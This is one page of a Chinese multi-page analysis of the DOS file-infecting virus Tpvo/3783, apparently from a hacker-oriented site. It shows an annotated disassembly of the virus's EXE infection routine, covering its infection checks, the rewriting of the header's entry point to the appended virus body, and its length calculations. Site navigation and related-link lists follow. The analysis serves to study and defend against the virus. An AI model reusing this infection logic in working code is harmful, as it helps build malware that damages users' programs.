Tpvo/3783 病毒的分析和防治

• F6C8:0B10 75C3　　　　　JNZ　　 0AD5 ;最大要求内存不为-1不传染
  F6C8:0B12 3B451A　　　　CMP　　 AX,[DI+1A] ;覆盖号不为 0 (主程序) 不传染
  F6C8:0B15 75BE　　　　　JNZ　　 0AD5
  F6C8:0B17 E89301　　　　CALL　　0CAD ;DOS 4202 功能
  F6C8:0B1A BE1000　　　　MOV　　 SI,0010 ;文件长 > 640K 不传染
  F6C8:0B1D 3BD6　　　　　CMP　　 DX,SI
  F6C8:0B1F 73B4　　　　　JNB　　 0AD5
  F6C8:0B21 F7F6　　　　　DIV　　 SI
  F6C8:0B23 2B4508　　　　SUB　　 AX,[DI+08] ;减去文件头大小
  F6C8:0B26 50　　　　　　PUSH　　AX
  F6C8:0B27 52　　　　　　PUSH　　DX
  F6C8:0B28 875514　　　　XCHG　　DX,[DI+14] ;设置新的 CS:IP
  F6C8:0B2B 874516　　　　XCHG　　AX,[DI+16] ;到文件尾 (病毒开始处)
  F6C8:0B2E 52　　　　　　PUSH　　DX
  F6C8:0B2F 034508　　　　ADD　　 AX,[DI+08]
  F6C8:0B32 F7EE　　　　　IMUL　　SI
  F6C8:0B34 5E　　　　　　POP　　 SI
  F6C8:0B35 2D0200　　　　SUB　　 AX,0002
  F6C8:0B38 1BD1　　　　　SBB　　 DX,CX
  F6C8:0B3A 03C6　　　　　ADD　　 AX,SI ;移动文件指针到
  F6C8:0B3C 13CA　　　　　ADC　　 CX,DX ;开始执行前 2 字节
  F6C8:0B3E 92　　　　　　XCHG　　AX,DX
  F6C8:0B3F E87201　　　　CALL　　0CB4 ;DOS 4200
  F6C8:0B42 B43F　　　　　MOV　　 AH,3F ;读出 2 字节
  F6C8:0B44 B90200　　　　MOV　　 CX,0002
  F6C8:0B47 BA4F11　　　　MOV　　 DX,114F
  F6C8:0B4A E85201　　　　CALL　　0C9F
  F6C8:0B4D 5A　　　　　　POP　　 DX
  F6C8:0B4E 58　　　　　　POP　　 AX
  F6C8:0B4F 724D　　　　　JB　　　0B9E
  F6C8:0B51 813E4F115242　CMP　　 WORD PTR [114F],4252
  F6C8:0B57 7445　　　　　JZ　　　0B9E ;这 2 字节是 4252 不传染
  F6C8:0B59 81C2C710　　　ADD　　 DX,10C7 ;?????
  F6C8:0B5D 48　　　　　　DEC　　 AX
  F6C8:0B5E 7409　　　　　JZ　　　0B69
  F6C8:0B60 83C210　　　　ADD　　 DX,+10
  F6C8:0B63 83FA80　　　　CMP　　 DX,-80
  F6C8:0B66 72F5　　　　　JB　　　0B5D
  F6C8:0B68 48　　　　　　DEC　　 AX
  F6C8:0B69 40　　　　　　INC　　 AX
  F6C8:0B6A 80E2FE　　　　AND　　 DL,FE
  F6C8:0B6D 895510　　　　MOV　　 [DI+10],DX
  F6C8:0B70 89450E　　　　MOV　　 [DI+0E],AX
  F6C8:0B73 E83701　　　　CALL　　0CAD ;DOS 4202 功能
  F6C8:0B76 05C70E　　　　ADD　　 AX,0EC7 ;新的文件长
  F6C8:0B79 13D1　　　　　ADC　　 DX,CX
  
• 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] 下一页 
• 复制本页网址和标题，发送给你QQ/Msn的好友一起分享
  
  
• Tpvo/3783 病毒的分析和防治 相关文章：
• ·系统漏洞的形成和防治办法
• ·减治法：C#实现插入排序实例
• ·网络工程师讲解系统安全漏洞的形成和防治
• ·李治国：急躁公司做不了分类信息
• ·网络工程师教您防治常见网络攻击
• ·通过Rational的工具来实现SOA治理
• ·利用Mcafee根治Viking 威金病毒
• ·理清SOA治理中的架构师角色
• ·VeryCD:迅雷增强共享机制说治标不治本
• ·巧妙设置系统 轻松防治邮件病毒
• Tpvo/3783 病毒的分析和防治 相关软件
• ·《资治通鉴》注释版（全五册）
• ·贞观之治
• ·本殖民统治台湾五十年史
• ·《常见皮肤性病诊断与治疗》
• ·福赛斯经典政治惊险小说《豺狼的日子》
• ·《威权统治下的中国现状与前景》
• ·新疆好地方－庆祝新疆自治区50周年摄影集
• ·统治世界2
• ·曾胡治兵语录
• ·佐治药言

上一篇:UNIX系统上实现拨号

下一篇:网络资源的列举

• 特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作
• 者.文章版权归文章原始作者所有.对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转
• 载的文章有版权问题请联系编辑人员,我们尽快予以更正. 转载请注明来源：http://www.hackhome.com

精品推荐

热点TOP10

特别推荐